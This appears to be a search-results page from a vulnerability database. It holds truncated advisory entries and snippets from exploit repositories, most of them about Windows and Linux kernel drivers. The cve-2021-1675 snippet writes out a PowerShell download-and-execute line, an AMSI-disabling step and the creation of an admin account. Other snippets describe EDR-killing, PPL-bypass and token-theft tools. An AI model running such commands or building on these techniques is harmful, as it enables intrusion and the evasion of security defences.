80535 matches found
PT-2026-104749
The NXP GAU ADC driver drivers/adc/adc mcux gau adc.c validated the caller-supplied sequence-buffer size, which is expressed in bytes, against the number of active channels, which is a sample count. It then stored that byte count directly in data-results length and used it in mcux gau adc read...
CVE-2026-19184: Out-of-bounds Write
The NXP GAU ADC driver drivers/adc/adcmcuxgauadc.c validated the caller-supplied sequence-buffersize, which is expressed in bytes, against the number of active channels, which is a sample count. It then stored that byte count directly in data-resultslength and used it in mcuxgauadcreadsamples as...
ALSA-2026:75747 Important: kernel security, bug fix, and enhancement update
The kernel packages contain the Linux kernel, the core of any Linux operating system. Security Fixes: kernel: Linux kernel: Use-after-free in xc5000 tuner driver due to race condition CVE-2025-39994 kernel: gfs2: Fix unlikely race in gdlmputlock CVE-2025-40242 kernel: Linux kernel: Denial of...
ROS-20261005-73-0136
The vulnerability of the mt76connac2macwritetxwi80211 function in the drivers/net/wireless/mediatek/mt76/mt76connacmac.c file of the wireless adapter driver for mediatek’s Linux kernel is related to the execution of operations outside of the buffer in memory. Exploiting this vulnerability could...
Linux Distros Unpatched Vulnerability : CVE-2026-63277
The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - LibreOffice Calc can link a cell range to an external data source, and the link is saved in the document. A document could name a Java database driver for such ...
OPENSUSE-SU-2026:12061-1 nvidia-open-driver-G07-signed-check-595.104.02-2.1 on GA media
These are all security issues fixed in the nvidia-open-driver-G07-signed-check-595.104.02-2.1 package on the GA media of openSUSE Tumbleweed...
CVE-2018-19321
CVE-2018-19321 CVE-2018-19321 Descripción Los controladores de bajo nivel GPCIDrv y GDrv en GIGABYTE APP Center v1.05.21 y anteriores, AORUS GRAPHICS ENGINE anterior a 1.57, XTREME GAMING ENGINE anterior a 1.26 y OC GURU II v2.08 exponen funcionalidad para leer y escribir memoria física arbitrari...
CVE-2020-12928
CVE-2020-12928 LPE 利用代码 本仓库仅供学习目的 . 演示 参考： https://h0mbre.github.io/RyzenMasterCVE/ https://movaxbx.ru/2020/10/14/cve-2020-12928-exploit-proof-of-concept-privilege-escalation-in-amd-ryzen-master-amdryzenmasterdriver-sys/ https://hackyboiz.github.io/2021/08/11/l0ch/windows-driver-part4/...
CVE-2024-26229-BOF
CVE-2024-26229 BOF CVE-2024-26229のBeacon Object File実装 — DKOMトークン窃取によるWindows CSCドライバのローカル特権昇格。 RalfHacker/CVE-2024-26229-exploit に基づき、Cobalt Strike BOF APIをサポートするC2フレームワークで使用するために、Dynamic Function Resolution DFR を用いてBOFに変換しました。 動作の仕組み 1. NtCreateFile を使用して \Device\Mup;Csc....
nuc-winring0-fix
Intel NUC WinRing0 脆弱なドライバ - 完全削除ガイド Windows Defender は、OpenHardwareMonitorLib.sys WinRing0 ドライバ を、CVE-2020-14979 により VulnerableDriver:WinNT/Winring0 としてフラグ付けします。このドライバは Intel の NUC Software Studio サービスにバンドルされており、Windows Update 経由で再インストールされます。 このリポジトリは恒久的な解決策を提供します。 問題点 1. Intel の...
CVE-2021-1656
CVE-2021-1656 の POC — tpm.sys における情報漏洩。...
cve-2021-1675
cve-2021-1675 AMSIを無効にする: PowerShellにコピー https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/disable-amsi.txt invoke-script を実行 iex New-Object Net.WebClient.DownloadString'https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/Invoke-Nightmare.ps1' 管理者アカウントを作成 Invoke-Nightmare...
AntimalwareBlight
Use this PowerShell module to execute PowerShell code at the antimalware-light protection level. This code was highlighted in the Living Off the Walled Garden: Abusing the Features of the Early Launch Antimalware Ecosystem REcon talk as well as Black Hat USA 2022. This module needs to run elevate...
kernel-debug-lab-for-virtual-box
如何使用 Windbg 设置 VirtualBox 实验室来调试内核驱动程序 这里我们假设计算机 A 上已安装 windbg，计算机 B 上已安装 Visual Studio、SDK 和 WDK。 1. 打开 Host Network Manager，创建或设置一个新的 Virtual Box Host-Only Ethernet adapter 2. 创建或选择一个 Virtual Box Host-Only Ethernet adapter，并勾选 DHCP Server 的 Enable 复选框 3. 对于计算机 A 和计算机 B，进入 Settings - Network，在...
CVE-2021-27965
CVE-2021-27965 CVE-2021-27965の概念実証（スタックベースのバッファオーバーフロー） 注意: おそらくこれ以上更新しません（まだ完成させる可能性はあります）。現在、命令ポインタをきれいに上書きできる状態ですが、少なくとも簡単でありながら実世界のカーネルデバイスドライバを悪用するために必要なスキルを持っていることを証明するには十分だと思います。別のCVE-2021-27965のエクスプロイトを調査して、これを修正するためのヒントを得ます。...
e1000_vulnerability_exploit
e1000漏洞利用 安装 $ ./install.sh 目前仅支持构建自有版本。请选择 own 和 debug 来构建你的调试版本。 警告：过程中可能出现错误，尤其是在编译源码时。你可能会看到类似 "Exit with error status 2." 的信息。 如果出现错误，请联系我们：[email protected] 调试 使用 RTLogPrintfstring, args 打印调试信息。调试信息将写入 VirtualBox 文件夹中的 .log 文件。 查看以下文件： src/VBox/Devices/Network/DevE1000 .cpp / .h；...
breakcyserver
breakcyserver 完整文章见：https://waawaa.github.io/ 1. 通过关闭 EDR 进程的所有已打开句柄来终止 EDR 服务。 2. 通过滥用 Process Explorer 驱动程序的某些功能绕过 PPL。 3. 通过滥用 Process Explorer 驱动功能绕过 ObRegisterCallbacks 实现。 附注：新增了无需 ProcessExplorer 即可手动加载驱动的实现。 LoadDriver.exe /LOAD LoadDriver.exe /UNLOAD 规避警告： EDR 和 XDR 可能会注意到未签名的 EXE...
CallMeWin32kDriver
CallMeWin32kDriver 像加载 win32k.sys 一样加载你的驱动程序 动机 该特性是从某个 PUBG 作弊驱动中分析得出的。 它能做什么？ 防止 Anti-Rootkit 工具直接转储 绕过 MmCopyMemory 隐藏 world 不会触发 PG 如何检测？ 在使用 MmCopyMemory 之前附加一个 GUI 进程 编译 Visual Studio 2022 与 WDK10 llvm-msvc 链接 UnknownCheats 上的一些讨论...
CVE-CVSS--CVE-2024-38063-IPv6-TCP-IP-Remote-Code-Execution-Analysis
🔐 CVE-2024-38063 — IPv6 TCP/IP リモートコード実行分析 📌 プロジェクト説明 このプロジェクトは、Microsoftが2024年8月13日のPatch Tuesday で開示した重大な脆弱性CVE-2024-38063 の技術的分析と実践的なデモンストレーション を提供します。 この脆弱性は、Windows TCP/IPスタック、特にカーネルドライバに実装されたIPv6コンポーネント に影響を与えます： C:\Windows\System32\drivers\tcpip.sys セキュリティ研究者のXiaoWei （Kunlun Lab...